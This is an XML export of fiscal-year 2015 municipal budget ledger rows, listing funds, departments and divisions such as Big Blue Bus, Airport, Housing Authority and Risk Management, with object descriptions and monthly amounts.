<row _id="16045"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>80700.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>80700.0</total></row>
<row _id="16046"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>263963.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>263963.0</total></row>
<row _id="16047"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400381.0</object><object_description>ADMIN-CERTIFICATE 014</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16048"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-6801.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-6801.0</total></row>
<row _id="16049"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-35151.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-35151.0</total></row>
<row _id="16050"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-5823.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5823.0</total></row>
<row _id="16051"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-23578.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-23578.0</total></row>
<row _id="16052"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-15860.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-15860.0</total></row>
<row _id="16053"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-5342.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5342.0</total></row>
<row _id="16054"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-8414.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-8414.0</total></row>
<row _id="16055"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-6054.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-6054.0</total></row>
<row _id="16056"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5322.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5322.0</total></row>
<row _id="16057"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-4824.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4824.0</total></row>
<row _id="16058"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-5272.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5272.0</total></row>
<row _id="16059"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-5670.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5670.0</total></row>
<row _id="16060"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-12469.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-12469.0</total></row>
<row _id="16061"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409003.0</object><object_description>CHILDCARE-NOVEMBER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16062"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4072.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4072.0</total></row>
<row _id="16063"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16064"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2610.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2610.0</total></row>
<row _id="16065"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2545.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2545.0</total></row>
<row _id="16066"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3708.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3708.0</total></row>
<row _id="16067"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1897.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1897.0</total></row>
<row _id="16068"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>241899.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>241899.0</total></row>
<row _id="16069"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>750.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>750.0</total></row>
<row _id="16070"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>522620.0</object><object_description>RENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>101121.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>101121.0</total></row>
<row _id="16071"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>74000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>74000.0</total></row>
<row _id="16072"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>402260.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-2699999.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2699999.0</total></row>
<row _id="16073"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2510.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2510.0</total></row>
<row _id="16074"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>509.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>509.0</total></row>
<row _id="16075"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>532.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>532.0</total></row>
<row _id="16076"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>577530.0</object><object_description>FARMERS' MKT EDUCATION PRGS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>13845.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13845.0</total></row>
<row _id="16077"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>577540.0</object><object_description>FARMERS' MKT SPECIAL EVENTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>24653.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24653.0</total></row>
<row _id="16078"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-8299.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-8299.0</total></row>
<row _id="16079"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>522030.0</object><object_description>INVESTIGATION EXPENSES</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16080"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>58882.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>58882.0</total></row>
<row _id="16081"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>854.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>57983.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>57983.0</total></row>
<row _id="16082"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400394.0</object><object_description>HAP REVENUE - PORTS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-333600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-333600.0</total></row>
<row _id="16083"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400923.0</object><object_description>SPC ADMIN SU05</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-22041.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-22041.0</total></row>
<row _id="16084"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400925.0</object><object_description>SPC ADMIN NEW</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-19366.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-19366.0</total></row>
<row _id="16085"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400885.0</object><object_description>SPC HAP NEW</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16086"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400925.0</object><object_description>SPC ADMIN NEW</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="16087"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10519.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10519.0</total></row>
<row _id="16088"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>102.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>102.0</total></row>
<row _id="16089"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5882.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5882.0</total></row>
<row _id="16090"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>119106.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>119106.0</total></row>
<row _id="16091"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>400601.0</object><object_description>REVIEW OF PUBLIC ROW APPLICATI</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-107019.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-107019.0</total></row>
